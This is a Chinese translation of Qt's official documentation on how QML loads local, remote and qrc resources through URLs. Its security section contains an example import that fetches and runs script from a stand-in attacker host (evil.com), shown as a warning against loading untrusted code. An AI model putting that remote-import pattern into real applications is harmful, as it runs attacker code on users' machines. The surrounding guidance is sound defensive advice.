资源加载和网络透明
QML 通过使用 URL(而不是文件名)来引用 QML 文档到其它内容,从而支持网络透明度。这意味着在任何需要 URL 源的地方,QML 都能处理远程资源和本地资源,例如下面的图片源:
Image { source: "http://www.example.com/images/logo.png" }
由于相对URL 与相对文件相同,在常规文件系统上开发 QML 仍然很简单:
Image { source: "images/logo.png" }
整个 QML 都支持网络透明,例如FontLoader 和 Image 元素都支持从远程服务器加载资源。
甚至 QML 类型本身也可以在网络上:如果使用qml 工具加载http://example.com/mystuff/Hello.qml
,而该内容指的是 "World "类型,引擎将加载http://example.com/mystuff/qmldir
并解析该类型,就像解析本地文件一样。例如,如果 qmldir 文件包含 "World World.qml "一行,它将加载http://example.com/mystuff/World.qml
Hello.qml
所引用的任何其他资源,通常是通过相对 URL 引用的,同样也会从网络加载。
相对 URL 与绝对 URL
只要对象具有 URL 类型的属性 (QUrl),为该属性分配一个字符串实际上就是分配一个绝对 URL - 将该字符串与使用该字符串的文档的 URL 进行解析。
例如,考虑http://example.com/mystuff/test.qml
中的内容:
Image { source: "images/logo.png" }
Image 源属性将被分配为http://example.com/mystuff/images/logo.png
,但在开发 QML 时,比如在C:\User\Fred\Documents\MyStuff\test.qml
,它将被分配为C:\User\Fred\Documents\MyStuff\images\logo.png
。
如果分配给 URL 的字符串已经是绝对 URL,那么 "解析 "不会改变它,而是直接分配 URL。
QRC 资源
Qt 内置的 URL 方案之一是 "qrc "方案。它允许使用Qt 资源系统将内容编译到可执行文件中。使用该方案,可执行文件可以引用编译到可执行文件中的 QML 内容:
QQuickView *view = new QQuickView; view->setUrl(QUrl("qrc:/dial.qml"));
内容本身可以使用相对 URL,因此不会察觉内容已编译到可执行文件中。
限制
import
语句只有在有 "as "子句时才是网络透明的。
更具体地说
import "dir"
仅适用于本地文件系统import libraryUri
仅适用于本地文件系统import "dir" as D
网络透明运行import libraryUrl as U
网络透明运行
对应用程序安全的影响
QML 安全模型是 QML 内容是可信内容链:用户安装他们信任的 QML 内容,就像安装本地 Qt 应用程序或用 Python 和 Perl 等运行时编写的程序一样。这种信任是通过多种机制建立的,包括某些平台上的软件包签名。
为了维护用户的信任,QML 应用程序开发人员不应加载和执行任意 JavaScript 或 QML 资源。例如,请看下面的 QML 代码:
import QtQuick 2.0 import "http://evil.com/evil.js" as Evil Component { onLoaded: Evil.doEvil() }
这相当于下载和执行 "http://evil.com/evil.exe"。QML 引擎不会阻止加载特定资源。与在网络浏览器中运行的 JavaScript 代码不同,QML 应用程序可以以与其他本地应用程序相同的方式加载远程或本地文件系统资源,因此应用程序开发人员在加载和执行任何内容时都必须小心谨慎。
与任何访问不受其控制的其他内容的应用程序一样,QML 应用程序应对加载的任何不受信任的数据执行适当的检查。例如,不要使用import
、Loader 或XMLHttpRequest 来加载任何不受信任的代码或内容。
© 2025 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.